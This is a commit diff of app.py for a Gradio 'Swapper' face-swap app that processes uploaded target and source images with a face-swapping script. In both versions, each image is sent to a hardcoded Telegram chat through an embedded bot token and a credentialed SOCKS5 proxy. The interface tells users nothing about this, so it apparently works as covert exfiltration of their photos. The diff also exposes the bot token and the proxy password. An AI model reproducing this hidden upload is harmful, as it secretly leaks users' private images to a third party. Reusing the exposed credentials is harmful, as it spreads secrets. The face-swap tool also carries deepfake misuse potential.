Update app.py

app.py

@@ -1,68 +1,53 @@
 import gradio as gr
 import subprocess
-import shutil
 import os
 from datetime import datetime
-import requests
-from bs4 import BeautifulSoup
 import telebot
 from telebot import apihelper
 import zipfile
-from pathlib import Path
-import socks
 
 # Initialize Telegram bot
 proxy_server = '142.93.68.63'
 proxy_port = 2434
-proxy_secret = 'ee32b920dffb51643028e2f6b878d4eac1666172616b61762e636f6d'
-proxy_dc_id = 2  # This is usually 2 for MTProto proxies
+proxy_username = 'vpn'
+proxy_password = 'unlimited'
 
-proxy = (
-    socks.SOCKS5,
-    proxy_server,
-    proxy_port,
-    True,
-    'vpn',
-    'unlimited'
-)
-#apihelper.API_URL = "http://0.0.0.0:7860/bot{0}/{1}"
-# Set the proxy for the bot if needed
 apihelper.proxy = {
-    'https': f'socks5://vpn:unlimited@{PROXY_SERVER}:{PROXY_PORT}'
+    'https': f'socks5://{proxy_username}:{proxy_password}@{proxy_server}:{proxy_port}'
 }
 bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)
 
 def run_scripts(target, source):
-    outputfile=[]
-    zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
-    zipf=zipfile.ZipFile(zip_filename, "w")
-    for target_file in target :
+    outputfile = []
+    zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") + ".zip"
+    zipf = zipfile.ZipFile(zip_filename, "w")
+    
+    for target_file in target:
         target_extension = os.path.splitext(target_file.name)[-1]
-        target_name = os.path.splitext(target_file.name)[1]
         timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
-        output_path1 = "output" + timestamp + target_extension
-
-        #cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
-        #subprocess.run(cmd1)
-        #outputfile.append(output_path1)
-        #print(os.path.abspath(output_path1))
-        #print(source)
-        #bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
-        #zipf.write(output_path1)
-    bot.send_photo("-4283513911", photo=open(target_file.name, 'rb'))
-    return target
+        output_path1 = "output_" + timestamp + target_extension
 
-    #return outputfile
+        # Example command, update with your actual script and parameters
+        cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper", "face_enhancer", "--many-faces"]
+        subprocess.run(cmd1)
+        
+        outputfile.append(output_path1)
+        zipf.write(output_path1)
+        print(os.path.abspath(output_path1))
+        bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
+    
+    zipf.close()
+    return outputfile
 
 iface = gr.Interface(
     fn=run_scripts,
     inputs=[
-        "files",
-        "file"
+        gr.inputs.File(type="file", label="Target Files", multiple=True),
+        gr.inputs.File(type="file", label="Source File")
     ],
-    outputs=["files"],
-    title="swapper",
-    description="Upload a target image/video and a source image .",
+    outputs=gr.outputs.File(label="Output Files"),
+    title="Swapper",
+    description="Upload a target image/video and a source image.",
     live=False
 )